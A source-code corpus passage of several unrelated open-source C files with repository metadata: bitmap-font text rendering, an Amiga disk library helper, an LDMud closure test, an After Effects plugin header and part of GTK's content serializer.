ny = (b.b_bottom-b.b_top-1)/ddfont->f_height; /* lines we can fit down box ht */
if(lines>ny)lines = ny; /* lines we will print */
text = gk0xboxzoom(b,-1);
if(flags&FTBOTTOM)
text.b_top = b.b_bottom - lines*ddfont->f_height;
if(flags&FTVERT)
text.b_top = (b.b_top+b.b_bottom - lines*ddfont->f_height)/2;
if(flags&FTRIGHT)
text.b_left = b.b_right - (len<nx?len:nx)*ddfont->f_width;
if(flags&FTHORIZ)
text.b_left = (b.b_left+b.b_right - (len<nx?len:nx)*ddfont->f_width)/2;
text.b_bottom = text.b_top+ddfont->f_height-1;
gk0xwwstack(WWPUSHOFF);
if(!(flags&FTOVER))gk0xbmbox(b,BMCLEAR);
while(lines-->0){
gk0xftxprint(text.b_left,text.b_bottom,str,len>nx?nx:len,WWXOR,ddfont,ddbm,flags&(FTPROP|FTCONTROL));
text.b_top = text.b_bottom+1;
text.b_bottom += ddfont->f_height;
str += nx;
len -= nx;
}
if(flags&FTNOT)gk0xbmbox(b,BMNOT);
if(flags&FTWIN)gk0xbmstack(WWPOP);
gk0xwwstack(WWPOP);
}
#ifdef FORTINTER
FORTINTER wftpri_(b,m,flags,mlen)int *b,*flags,mlen; char *m;{
ftprint(to_box(b),m,*flags);
}
#ifdef OLDFORTRAN
FORTINTER wftprt_(b,m,flags,length)int *b,*flags,length;char *m;{
char *copy = malloc((unsigned)length + 1);
strncpy(copy,m,length);
copy[length] = '\0';
ftprint(to_box(b),copy,*flags);
free(copy);
}
#endif OLDFORTRAN
#endif FORTINTER
#define OCT177 '\177'
#define NONSPACE '+' /* anything that's not a space */
#define PRINTABLE '@' /* makes a control char printable */
#define SPACE ' '
#define NONEWLINE '!' /* print this in reverse video shows no newline */
/*
* print str with x,y bottom left corner using raster op rop
* and font in bitmap bm.
* Optimise out malloc most of the time
*/
#define OPTIMLEN 150 /* arbitrary value > most len calls */
PUBLIC void gk0xftxprint(x,y,str,len,rop,font,bm,flags)int x,y,len,rop,flags; char *str; fontinfo *font;bitmap *bm;{
unsigned char optimised[OPTIMLEN];
unsigned char *copy,*ip,*op,*end,ch;
short hadctl,hadtopbit;
int blobcontrol;
bitmap *savebm;
box b;
if(flags&~(FTCONTROL|FTPROP))wwfail("unknown flag to ftxprint",);
if(len<0 || len>90000)return;
hadctl = hadtopbit = FALSE;
blobcontrol = flags&FTCONTROL;
savebm = ddbm;
ddbm = bm; /* for overstrike */
b.b_bottom = y;
b.b_left = x;
b.b_top = b.b_bottom-font->f_height+1;
b.b_right = b.b_left+len*font->f_width-1; /* b is exactly chars */
#ifdef WWFORSUN
gk0xwwlock(bm,b);
#endif WWFORSUN
ip = (unsigned char *)str;
end = ip+len;
if(len+2<OPTIMLEN)copy = optimised;
else copy = (unsigned char *)malloc((unsigned)(len+2)); /* +1 in case of bugs, +1 for wc null */
op = copy;
#ifdef WWFORPNX
while(ip<end){
if((ch = *ip++)>OCT177){
hadtopbit++;
ch &= OCT177; /* clean top bit */
}
if(ch<SPACE){
ch += blobcontrol?PRINTABLE:0200; /* make it printable or wrap on font */
hadctl++;
}
*op++ = ch;
}
#else WWFORPNX
if(!blobcontrol)
while(ip<end)*op++ = *ip++;
else while(ip<end){
if((ch = *ip++)>OCT177){
hadtopbit++;
ch &= OCT177; /* clean top bit */
}
if(ch<SPACE){
ch += PRINTABLE; /* make it printable */
hadctl++;
}
*op++ = ch;
}
*op = '\0'; /* terminating null for GPutString or pf_text */
#endif WWFORPNX
gk0xputbyte(x,y,copy,len,font,rop,flags);
if(blobcontrol){
b.b_right = b.b_left+font->f_width-1; /* make b inclusive exactly first char of line */
if(hadctl){ /* need to overstrike the control chars */
ip = (unsigned char *)str;
op = copy;
while(ip<end){
*op++ = ((*ip++ & OCT177)<SPACE)?NONSPACE:SPACE;
}
gk0xOverstrike(b,copy,len,FALSE);
}
if(hadtopbit){ /* need to overstrike the top bit set chars */
ip = (unsigned char *)str;
op = copy;
while(ip<end)
*op++ = (*ip++ > OCT177)?NONSPACE:SPACE;
gk0xOverstrike(b,copy,len,TRUE);
}
}
b.b_right = b.b_left+len*font->f_width-1; /* b is exactly chars */
#ifdef WWFORSUN
gk0xwwunlock(ddbm);
#endif WWFORSUN
NOTESCREEN(ddbm,b);
ddbm = savebm;
if(copy!=optimised)free((char*)copy);
}
#ifdef FORTINTER
FORTINTER wftxp_(x,y,str,rop,font,bm,flags,len)char *str; int *x,*y,len,*rop,*font,*bm,*flags;
/* int x,y,len,rop,flags; char *str; bitmap *bm; fontinfo *font; */{
ftxprint(*x,*y,str,len,*rop,(fontinfo *)*font,(bitmap *)*bm,*flags);
}
#ifdef OLDFORTRAN
FORTINTER wftxpr_(x,y,str,len,rop,font,bm,flags,length)
int *x,*y,*len,*rop,*flags,length; char *str; fontinfo **font;bitmap **bm;{
if(*len!=0)length = *len;
ftxprint(*x,*y,str,length,*rop,*font,*bm,*flags);
}
#endif OLDFORTRAN
#endif FORTINTER
/*
* overstrike the chars already printed.
* The box inclusive is exactly the first single char in position.
* Chars that are not a space are to be overstruck.
* topbit is true for a smaller overstrike 3/4 of the way up char.
*/
PRIVATE void gk0xOverstrike(b,str,len,topbit)box b;unsigned char *str;{
int w,x;
unsigned char *start,*s,*end;
w = b.b_right-b.b_left+1;
if(topbit)
b.b_bottom = b.b_top+(b.b_bottom-b.b_top+1)/4; /* smaller rectangle in top 1/4 of char */
x = b.b_left-1; /* -1 to account for inside of box to invert */
b.b_top--;
b.b_bottom++;
s = str;
end = str+len;
while(s<end){
while(s<end && *s==SPACE)s++;
if(s>=end)return;
start = s; /* found first non blank, first overstrike */
while(s<end && *s!=SPACE)s++;
/* start to s-1 are now contiguous set of chars to overstrike */
b.b_left = x+(start-str)*w;
b.b_right = x+(s-str)*w+1; /* +1 cos x is outside box */
gk0xbmbox(b,BMNOT);
/* carry on from this blank */
}
}
#ifdef FORTINTER
FORTINTER int wftloa_(file,len)char *file; int len;{ /* char *file; */
return(int)gk0xftload(file);
}
#ifdef OLDFORTRAN
FORTINTER int wftlod_(file,length)char *file;int length;{
char *malloc(),*name = malloc((unsigned)length+1);
strncpy(name,file,length);
name[length] = '\0';
return(int)gk0xftload(name);
}
#endif OLDFORTRAN
#endif FORTINTER
/*
* add font to circular list of all fonts
*/
static fontinfo *fontlist = NULLPTR(fontinfo);
DDPUBLIC gk0xaddfont(fp) fontinfo *fp;{
fontinfo *qp;
if(fontlist==0)fp->f_next = fontlist = fp;
else{
for(qp = fontlist; qp->f_next!=fontlist; qp = qp->f_next);
fp->f_next = fontlist;
qp->f_next = fp;
}
}
#ifdef FORTINTER
FORTINTER wftfre_(fp)int *fp;{
ftfree((fontinfo *)*fp);
}
FORTINTER wftbox_(fp,str,len,flags,newbox,stsize)int *fp,*len,*flags,*newbox,stsize; char *str;{
/* fontinfo *fp; int len,flags; box newbox;*/
from_box(ftbox((fontinfo *)*fp,str,*len,*flags ),newbox);
}
#endif FORTINTER
|
2704434f76cf4d768c45223ca4cd576a4423a8b7
|
fe05f22c9e6be4ab8d7e1e3971c1b69102f31d1c
|
/dep/adflib/src/adf_link.c
|
0ac88631d54bcd7a75258ae5f2711bda735ca060
|
[
"MIT",
"GPL-2.0-only",
"LicenseRef-scancode-public-domain",
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference",
"Unlicense"
] |
permissive
|
davidgiven/fluxengine
|
53b3d5447c69b8fa9d04ccc5481f662e2554dc5a
|
9e61670116f6ececa3e51acfc50b196f74df5bb3
|
refs/heads/master
| 2023-09-01T08:05:34.560835
| 2023-08-20T20:00:51
| 2023-08-20T20:00:51
| 149,908,319
| 309
| 70
|
MIT
| 2023-08-20T20:01:44
| 2018-09-22T19:05:57
|
C++
|
UTF-8
|
C
| false
| false
| 1,638
|
c
|
adf_link.c
|
/*
* ADF Library
*
* adf_link.c
*
* $Id$
*
* This file is part of ADFLib.
*
* ADFLib is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* ADFLib is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Foobar; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
#include<string.h>
#include"adf_defs.h"
#include"adf_str.h"
#include"adf_link.h"
#include"adf_dir.h"
extern struct Env adfEnv;
/*
*
*
*/
RETCODE adfBlockPtr2EntryName(struct Volume *vol, SECTNUM nSect, SECTNUM lPar,
char **name, int32_t *size)
{
struct bEntryBlock entryBlk;
struct Entry entry;
if (*name==0) {
adfReadEntryBlock(vol, nSect, &entryBlk);
*size = entryBlk.byteSize;
return RC_OK;
adfEntBlock2Entry(&entryBlk, &entry); /*error*/
/* if (entryBlk.secType!=ST_ROOT && entry.parent!=lPar)
printf("path=%s\n",path(vol,entry.parent));
*/
*name = strdup("");
if (*name==NULL)
return RC_MALLOC;
return RC_OK;
}
else
return RC_OK;
}
/*##################################################################################*/
|
98116417aeafdd59f25ea54135b7746d535ac417
|
f4ea6db9183b38e0cb1af1d317b0a02db24455d1
|
/test/t-language/tl-contextvars.c
|
2c1f8ddcf3218c83a444a19d2dd85170d6b3116c
|
[
"BSD-3-Clause",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause"
] |
permissive
|
ldmud/ldmud
|
1446ff7101f5a47ee1dfa4cfb97d5a326f2edcce
|
f1cfc9a8d911412d854055058889bb32432da2db
|
refs/heads/master
| 2023-05-25T00:36:28.318383
| 2023-02-14T21:07:35
| 2023-02-18T10:20:44
| 1,085,012
| 124
| 71
|
NOASSERTION
| 2023-09-01T16:54:48
| 2010-11-16T12:13:17
|
C
|
UTF-8
|
C
| false
| false
| 206
|
c
|
tl-contextvars.c
|
int run_test()
{
int result = 10;
return funcall(function int()
{
return funcall(function int() : int result = result+1
{
return result;
});
}) == 11;
}
|
30e8084527471fbdf1297a2efb4f9307c273de50
|
763d301330d5b5c74aa06582832955d4ac35c19b
|
/VideoLine2nd/VideoLine2nd.h
|
b5e44052fbb43068335a38e7b5d93a8beb39f022
|
[
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
bryful/F-s-PluginsProjects
|
dd0bc719df6b0a9c7dd397377319d954ba1099a8
|
942be10e7b334912649f39223d1aca1824946c58
|
refs/heads/master
| 2022-07-22T05:14:13.664573
| 2022-07-14T09:46:30
| 2022-07-14T09:46:30
| 186,790,231
| 185
| 33
|
MIT
| 2020-12-31T04:50:48
| 2019-05-15T09:06:45
|
C++
|
SHIFT_JIS
|
C
| false
| false
| 1,538
|
h
|
VideoLine2nd.h
|
//-----------------------------------------------------------------------------------
/*
F's Plugins for VS2010/VS2012
*/
//-----------------------------------------------------------------------------------
#pragma once
#ifndef VideoLine2nd_H
#define VideoLine2nd_H
#include "Fs_Target.h"
#include "AEConfig.h"
#include "entry.h"
//#include "PrSDKAESupport.h"
#include "AE_Effect.h"
#include "AE_EffectCB.h"
#include "AE_EffectCBSuites.h"
#include "AE_Macros.h"
#include "AEGP_SuiteHandler.h"
#include "String_Utils.h"
#include "Param_Utils.h"
#include "Smart_Utils.h"
#if defined(PF_AE100_PLUG_IN_VERSION)
#include "AEFX_SuiteHelper.h"
#define refconType void*
#else
#include "PF_Suite_Helper.h"
#define refconType A_long
#endif
#ifdef AE_OS_WIN
#include <Windows.h>
#endif
#include "../FsLibrary/FsAE.h"
//#include "FsAE.h"
enum {
ID_INPUT = 0, // default input layer
ID_BRIGHT,
ID_HEIGHT,
ID_INTER,
ID_DIR,
ID_NUM_PARAMS
};
#define STR_BRIGHT "ラインの明るさ(%)"
#define STR_HEIGHT "ラインの高さ(dot)"
#define STR_INTER "間隔補正(dot)"
#define STR_DIR "方向"
#define STR_DIRSTR "水平|垂直"
typedef struct{
PF_FpLong bright;
A_long height;
A_long inter;
PF_Boolean vurFlag;
} ParamInfo;
//-----------------------------------------------------------------------------------
extern "C" {
DllExport
PF_Err
EntryPointFunc (
PF_Cmd cmd,
PF_InData *in_data,
PF_OutData *out_data,
PF_ParamDef *params[],
PF_LayerDef *output,
void *extra);
}
#endif // VideoLine2nd_H
|
31281b57ec5c70e08a9eea79894f8463783ea36f
|
88ae8695987ada722184307301e221e1ba3cc2fa
|
/third_party/wayland-protocols/gtk/gdk/gdkcontentserializer.c
|
525f32475cd0e484670481f52ebec87c305bbb92
|
[
"LGPL-2.0-only",
"Apache-2.0",
"LGPL-2.1-only",
"LGPL-2.0-or-later",
"MIT",
"GPL-1.0-or-later",
"BSD-3-Clause"
] |
permissive
|
iridium-browser/iridium-browser
|
71d9c5ff76e014e6900b825f67389ab0ccd01329
|
5ee297f53dc7f8e70183031cff62f37b0f19d25f
|
refs/heads/master
| 2023-08-03T16:44:16.844552
| 2023-07-20T15:17:00
| 2023-07-23T16:09:30
| 220,016,632
| 341
| 40
|
BSD-3-Clause
| 2021-08-13T13:54:45
| 2019-11-06T14:32:31
| null |
UTF-8
|
C
| false
| false
| 29,841
|
c
|
gdkcontentserializer.c
|
/* GTK - The GIMP Toolkit
* Copyright (C) 2017 Benjamin Otte
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library. If not, see <http://www.gnu.org/licenses/>.
*/
#include "config.h"
#include <gio/gio.h>
#include "gdkcontentserializer.h"
#include "gdkcontentformats.h"
#include "gdkpixbuf.h"
#include "filetransferportalprivate.h"
#include "gdktextureprivate.h"
#include "gdkrgba.h"
#include <gdk-pixbuf/gdk-pixbuf.h>
#include <string.h>
/**
* GdkContentSerializer:
*
* A `GdkContentSerializer` is used to serialize content for
* inter-application data transfers.
*
* The `GdkContentSerializer` transforms an object that is identified
* by a GType into a serialized form (i.e. a byte stream) that is
* identified by a mime type.
*
* GTK provides serializers and deserializers for common data types
* such as text, colors, images or file lists. To register your own
* serialization functions, use [func@content_register_serializer].
*
* Also see [class@Gdk.ContentDeserializer].
*/
typedef struct _Serializer Serializer;
struct _Serializer
{
const char * mime_type; /* interned */
GType type;
GdkContentSerializeFunc serialize;
gpointer data;
GDestroyNotify notify;
};
GQueue serializers = G_QUEUE_INIT;
static void init (void);
#define GDK_CONTENT_SERIALIZER_CLASS(klass) (G_TYPE_CHECK_CLASS_CAST ((klass), GDK_TYPE_CONTENT_SERIALIZER, GdkContentSerializerClass))
#define GDK_IS_CONTENT_SERIALIZER_CLASS(klass) (G_TYPE_CHECK_CLASS_TYPE ((klass), GDK_TYPE_CONTENT_SERIALIZER))
#define GDK_CONTENT_SERIALIZER_GET_CLASS(obj) (G_TYPE_INSTANCE_GET_CLASS ((obj), GDK_TYPE_CONTENT_SERIALIZER, GdkContentSerializerClass))
typedef struct _GdkContentSerializerClass GdkContentSerializerClass;
struct _GdkContentSerializer
{
GObject parent_instance;
const char *mime_type; /* interned */
GValue value;
GOutputStream *stream;
int priority;
gboolean returned;
GCancellable *cancellable;
gpointer user_data;
GAsyncReadyCallback callback;
gpointer callback_data;
gpointer task_data;
GDestroyNotify task_notify;
GError *error;
};
struct _GdkContentSerializerClass
{
GObjectClass parent_class;
};
static gpointer
gdk_content_serializer_async_result_get_user_data (GAsyncResult *res)
{
return GDK_CONTENT_SERIALIZER (res)->callback_data;
}
static GObject *
gdk_content_serializer_async_result_get_source_object (GAsyncResult *res)
{
return NULL;
}
static void
gdk_content_serializer_async_result_iface_init (GAsyncResultIface *iface)
{
iface->get_user_data = gdk_content_serializer_async_result_get_user_data;
iface->get_source_object = gdk_content_serializer_async_result_get_source_object;
}
G_DEFINE_TYPE_WITH_CODE (GdkContentSerializer, gdk_content_serializer, G_TYPE_OBJECT,
G_IMPLEMENT_INTERFACE (G_TYPE_ASYNC_RESULT, gdk_content_serializer_async_result_iface_init))
static void
gdk_content_serializer_finalize (GObject *object)
{
GdkContentSerializer *serializer = GDK_CONTENT_SERIALIZER (object);
g_value_unset (&serializer->value);
g_clear_object (&serializer->stream);
g_clear_object (&serializer->cancellable);
g_clear_error (&serializer->error);
if (serializer->task_notify)
serializer->task_notify (serializer->task_data);
G_OBJECT_CLASS (gdk_content_serializer_parent_class)->finalize (object);
}
static void
gdk_content_serializer_class_init (GdkContentSerializerClass *content_serializer_class)
{
GObjectClass *object_class = G_OBJECT_CLASS (content_serializer_class);
object_class->finalize = gdk_content_serializer_finalize;
}
static void
gdk_content_serializer_init (GdkContentSerializer *content_serializer)
{
}
static void
gdk_content_serializer_run (const char *mime_type,
const GValue *value,
GOutputStream *stream,
int priority,
GCancellable *cancellable,
GdkContentSerializeFunc serialize_func,
gpointer user_data,
GAsyncReadyCallback callback,
gpointer callback_data)
{
GdkContentSerializer *serializer;
serializer = g_object_new (GDK_TYPE_CONTENT_SERIALIZER, NULL);
serializer->mime_type = mime_type;
g_value_init (&serializer->value, G_VALUE_TYPE (value));
g_value_copy (value, &serializer->value);
serializer->stream = g_object_ref (stream);
serializer->priority = priority;
if (cancellable)
serializer->cancellable = g_object_ref (cancellable);
serializer->user_data = user_data;
serializer->callback = callback;
serializer->callback_data = callback_data;
serialize_func (serializer);
}
/**
* gdk_content_serializer_get_mime_type:
* @serializer: a `GdkContentSerializer`
*
* Gets the mime type to serialize to.
*
* Returns: (transfer none): the mime type for the current operation
*/
const char *
gdk_content_serializer_get_mime_type (GdkContentSerializer *serializer)
{
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer), NULL);
return serializer->mime_type;
}
/**
* gdk_content_serializer_get_gtype:
* @serializer: a `GdkContentSerializer`
*
* Gets the `GType` to of the object to serialize.
*
* Returns: the `GType` for the current operation
*/
GType
gdk_content_serializer_get_gtype (GdkContentSerializer *serializer)
{
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer), G_TYPE_INVALID);
return G_VALUE_TYPE (&serializer->value);
}
/**
* gdk_content_serializer_get_value:
* @serializer: a `GdkContentSerializer`
*
* Gets the `GValue` to read the object to serialize from.
*
* Returns: (transfer none): the `GValue` for the current operation
*/
const GValue *
gdk_content_serializer_get_value (GdkContentSerializer *serializer)
{
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer), NULL);
return &serializer->value;
}
/**
* gdk_content_serializer_get_output_stream:
* @serializer: a `GdkContentSerializer`
*
* Gets the output stream for the current operation.
*
* This is the stream that was passed to [func@content_serialize_async].
*
* Returns: (transfer none): the output stream for the current operation
*/
GOutputStream *
gdk_content_serializer_get_output_stream (GdkContentSerializer *serializer)
{
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer), NULL);
return serializer->stream;
}
/**
* gdk_content_serializer_get_priority:
* @serializer: a `GdkContentSerializer`
*
* Gets the I/O priority for the current operation.
*
* This is the priority that was passed to [func@content_serialize_async].
*
* Returns: the I/O priority for the current operation
*/
int
gdk_content_serializer_get_priority (GdkContentSerializer *serializer)
{
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer), G_PRIORITY_DEFAULT);
return serializer->priority;
}
/**
* gdk_content_serializer_get_cancellable:
* @serializer: a `GdkContentSerializer`
*
* Gets the cancellable for the current operation.
*
* This is the `GCancellable` that was passed to [content_serialize_async].
*
* Returns: (transfer none): the cancellable for the current operation
*/
GCancellable *
gdk_content_serializer_get_cancellable (GdkContentSerializer *serializer)
{
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer), NULL);
return serializer->cancellable;
}
/**
* gdk_content_serializer_get_user_data:
* @serializer: a `GdkContentSerializer`
*
* Gets the user data that was passed when the serializer was registered.
*
* Returns: (transfer none): the user data for this serializer
*/
gpointer
gdk_content_serializer_get_user_data (GdkContentSerializer *serializer)
{
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer), NULL);
return serializer->user_data;
}
/**
* gdk_content_serializer_set_task_data:
* @serializer: a `GdkContentSerializer`
* @data: data to associate with this operation
* @notify: destroy notify for @data
*
* Associate data with the current serialization operation.
*/
void
gdk_content_serializer_set_task_data (GdkContentSerializer *serializer,
gpointer data,
GDestroyNotify notify)
{
g_return_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer));
if (serializer->task_notify)
serializer->task_notify (serializer->task_data);
serializer->task_data = data;
serializer->task_notify = notify;
}
/**
* gdk_content_serializer_get_task_data:
* @serializer: a `GdkContentSerializer`
*
* Gets the data that was associated with the current operation.
*
* See [method@Gdk.ContentSerializer.set_task_data].
*
* Returns: (transfer none): the task data for @serializer
*/
gpointer
gdk_content_serializer_get_task_data (GdkContentSerializer *serializer)
{
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer), NULL);
return serializer->task_data;
}
static gboolean
gdk_content_serializer_emit_callback (gpointer data)
{
GdkContentSerializer *serializer = data;
if (serializer->callback)
{
serializer->callback (NULL, G_ASYNC_RESULT (serializer), serializer->callback_data);
}
return G_SOURCE_REMOVE;
}
/**
* gdk_content_serializer_return_success:
* @serializer: a `GdkContentSerializer`
*
* Indicate that the serialization has been successfully completed.
*/
void
gdk_content_serializer_return_success (GdkContentSerializer *serializer)
{
g_return_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer));
g_return_if_fail (!serializer->returned);
serializer->returned = TRUE;
g_idle_add_full (serializer->priority,
gdk_content_serializer_emit_callback,
serializer,
g_object_unref);
/* NB: the idle will destroy our reference */
}
/**
* gdk_content_serializer_return_error:
* @serializer: a `GdkContentSerializer`
* @error: a `GError`
*
* Indicate that the serialization has ended with an error.
*
* This function consumes @error.
*/
void
gdk_content_serializer_return_error (GdkContentSerializer *serializer,
GError *error)
{
g_return_if_fail (GDK_IS_CONTENT_SERIALIZER (serializer));
g_return_if_fail (!serializer->returned);
g_return_if_fail (error != NULL);
serializer->error = error;
/* FIXME: naming */
gdk_content_serializer_return_success (serializer);
}
/**
* gdk_content_register_serializer:
* @type: the type of objects that the function can serialize
* @mime_type: the mime type to serialize to
* @serialize: the callback
* @data: data that @serialize can access
* @notify: destroy notify for @data
*
* Registers a function to serialize objects of a given type.
*/
void
gdk_content_register_serializer (GType type,
const char *mime_type,
GdkContentSerializeFunc serialize,
gpointer data,
GDestroyNotify notify)
{
Serializer *serializer;
g_return_if_fail (mime_type != NULL);
g_return_if_fail (serialize != NULL);
init ();
serializer = g_slice_new0 (Serializer);
serializer->mime_type = g_intern_string (mime_type);
serializer->type = type;
serializer->serialize = serialize;
serializer->data = data;
serializer->notify = notify;
g_queue_push_tail (&serializers, serializer);
}
static Serializer *
lookup_serializer (const char *mime_type,
GType type)
{
GList *l;
g_return_val_if_fail (mime_type != NULL, NULL);
init ();
mime_type = g_intern_string (mime_type);
for (l = g_queue_peek_head_link (&serializers); l; l = l->next)
{
Serializer *serializer = l->data;
if (serializer->mime_type == mime_type &&
serializer->type == type)
return serializer;
}
return NULL;
}
/**
* gdk_content_formats_union_serialize_gtypes:
* @formats: (transfer full): a `GdkContentFormats`
*
* Add GTypes for the mime types in @formats for which serializers are
* registered.
*
* Return: a new `GdkContentFormats`
*/
GdkContentFormats *
gdk_content_formats_union_serialize_gtypes (GdkContentFormats *formats)
{
GdkContentFormatsBuilder *builder;
GList *l;
g_return_val_if_fail (formats != NULL, NULL);
init ();
builder = gdk_content_formats_builder_new ();
gdk_content_formats_builder_add_formats (builder, formats);
for (l = g_queue_peek_head_link (&serializers); l; l = l->next)
{
Serializer *serializer = l->data;
if (gdk_content_formats_contain_mime_type (formats, serializer->mime_type))
gdk_content_formats_builder_add_gtype (builder, serializer->type);
}
gdk_content_formats_unref (formats);
return gdk_content_formats_builder_free_to_formats (builder);
}
/**
* gdk_content_formats_union_serialize_mime_types:
* @formats: (transfer full): a `GdkContentFormats`
*
* Add mime types for GTypes in @formats for which serializers are
* registered.
*
* Return: a new `GdkContentFormats`
*/
GdkContentFormats *
gdk_content_formats_union_serialize_mime_types (GdkContentFormats *formats)
{
GdkContentFormatsBuilder *builder;
GList *l;
g_return_val_if_fail (formats != NULL, NULL);
init ();
builder = gdk_content_formats_builder_new ();
gdk_content_formats_builder_add_formats (builder, formats);
for (l = g_queue_peek_head_link (&serializers); l; l = l->next)
{
Serializer *serializer = l->data;
if (gdk_content_formats_contain_gtype (formats, serializer->type))
gdk_content_formats_builder_add_mime_type (builder, serializer->mime_type);
}
gdk_content_formats_unref (formats);
return gdk_content_formats_builder_free_to_formats (builder);
}
static void
serialize_not_found (GdkContentSerializer *serializer)
{
GError *error = g_error_new (G_IO_ERROR,
G_IO_ERROR_NOT_FOUND,
"Could not convert data from %s to %s",
g_type_name (gdk_content_serializer_get_gtype (serializer)),
gdk_content_serializer_get_mime_type (serializer));
gdk_content_serializer_return_error (serializer, error);
}
/**
* gdk_content_serialize_async:
* @stream: a `GOutputStream` to write the serialized content to
* @mime_type: the mime type to serialize to
* @value: the content to serialize
* @io_priority: the I/O priority of the operation
* @cancellable: (nullable): optional #GCancellable object
* @callback: (scope async): callback to call when the operation is done
* @user_data: (closure): data to pass to the callback function
*
* Serialize content and write it to the given output stream, asynchronously.
*
* The default I/O priority is %G_PRIORITY_DEFAULT (i.e. 0), and lower numbers
* indicate a higher priority.
*
* When the operation is finished, @callback will be called. You must then
* call [func@content_serialize_finish] to get the result of the operation.
*/
void
gdk_content_serialize_async (GOutputStream *stream,
const char *mime_type,
const GValue *value,
int io_priority,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
Serializer *serializer;
g_return_if_fail (G_IS_OUTPUT_STREAM (stream));
g_return_if_fail (cancellable == NULL || G_IS_CANCELLABLE (cancellable));
g_return_if_fail (callback != NULL);
serializer = lookup_serializer (mime_type, G_VALUE_TYPE (value));
gdk_content_serializer_run (mime_type,
value,
stream,
io_priority,
cancellable,
serializer ? serializer->serialize : serialize_not_found,
serializer ? serializer->data : NULL,
callback,
user_data);
}
/**
* gdk_content_serialize_finish:
* @result: the `GAsyncResult`
* @error: return location for an error
*
* Finishes a content serialization operation.
*
* Returns: %TRUE if the operation was successful, %FALSE if an
* error occurred. In this case, @error is set
*/
gboolean
gdk_content_serialize_finish (GAsyncResult *result,
GError **error)
{
GdkContentSerializer *serializer;
g_return_val_if_fail (GDK_IS_CONTENT_SERIALIZER (result), FALSE);
g_return_val_if_fail (error == NULL || *error == NULL, FALSE);
serializer = GDK_CONTENT_SERIALIZER (result);
if (serializer->error)
{
if (error)
*error = g_error_copy (serializer->error);
return FALSE;
}
return TRUE;
}
/*** SERIALIZERS ***/
static void
pixbuf_serializer_finish (GObject *source,
GAsyncResult *res,
gpointer serializer)
{
GError *error = NULL;
if (!gdk_pixbuf_save_to_stream_finish (res, &error))
gdk_content_serializer_return_error (serializer, error);
else
gdk_content_serializer_return_success (serializer);
}
static void
pixbuf_serializer (GdkContentSerializer *serializer)
{
const GValue *value;
GdkPixbuf *pixbuf;
const char *name;
name = gdk_content_serializer_get_user_data (serializer);
value = gdk_content_serializer_get_value (serializer);
if (G_VALUE_HOLDS (value, GDK_TYPE_PIXBUF))
{
pixbuf = g_value_dup_object (value);
}
else if (G_VALUE_HOLDS (value, GDK_TYPE_TEXTURE))
{
GdkTexture *texture = g_value_get_object (value);
cairo_surface_t *surface = gdk_texture_download_surface (texture);
pixbuf = gdk_pixbuf_get_from_surface (surface,
0, 0,
gdk_texture_get_width (texture), gdk_texture_get_height (texture));
cairo_surface_destroy (surface);
}
else
{
g_assert_not_reached ();
}
gdk_pixbuf_save_to_stream_async (pixbuf,
gdk_content_serializer_get_output_stream (serializer),
name,
gdk_content_serializer_get_cancellable (serializer),
pixbuf_serializer_finish,
serializer,
g_str_equal (name, "png") ? "compression" : NULL, "2",
NULL);
g_object_unref (pixbuf);
}
static void
string_serializer_finish (GObject *source,
GAsyncResult *result,
gpointer serializer)
{
GOutputStream *stream = G_OUTPUT_STREAM (source);
GError *error = NULL;
if (!g_output_stream_write_all_finish (stream, result, NULL, &error))
gdk_content_serializer_return_error (serializer, error);
else
gdk_content_serializer_return_success (serializer);
}
static void
string_serializer (GdkContentSerializer *serializer)
{
GOutputStream *filter;
GCharsetConverter *converter;
GError *error = NULL;
const char *text;
converter = g_charset_converter_new (gdk_content_serializer_get_user_data (serializer),
"utf-8",
&error);
if (converter == NULL)
{
gdk_content_serializer_return_error (serializer, error);
return;
}
g_charset_converter_set_use_fallback (converter, TRUE);
filter = g_converter_output_stream_new (gdk_content_serializer_get_output_stream (serializer),
G_CONVERTER (converter));
g_object_unref (converter);
text = g_value_get_string (gdk_content_serializer_get_value (serializer));
if (text == NULL)
text = "";
g_output_stream_write_all_async (filter,
text,
strlen (text),
gdk_content_serializer_get_priority (serializer),
gdk_content_serializer_get_cancellable (serializer),
string_serializer_finish,
serializer);
g_object_unref (filter);
}
static void
file_serializer_finish (GObject *source,
GAsyncResult *result,
gpointer serializer)
{
GOutputStream *stream = G_OUTPUT_STREAM (source);
GError *error = NULL;
if (!g_output_stream_write_all_finish (stream, result, NULL, &error))
gdk_content_serializer_return_error (serializer, error);
else
gdk_content_serializer_return_success (serializer);
}
static void
file_uri_serializer (GdkContentSerializer *serializer)
{
GFile *file;
GString *str;
const GValue *value;
char *uri;
str = g_string_new (NULL);
value = gdk_content_serializer_get_value (serializer);
if (G_VALUE_HOLDS (value, G_TYPE_FILE))
{
file = g_value_get_object (gdk_content_serializer_get_value (serializer));
if (file)
{
uri = g_file_get_uri (file);
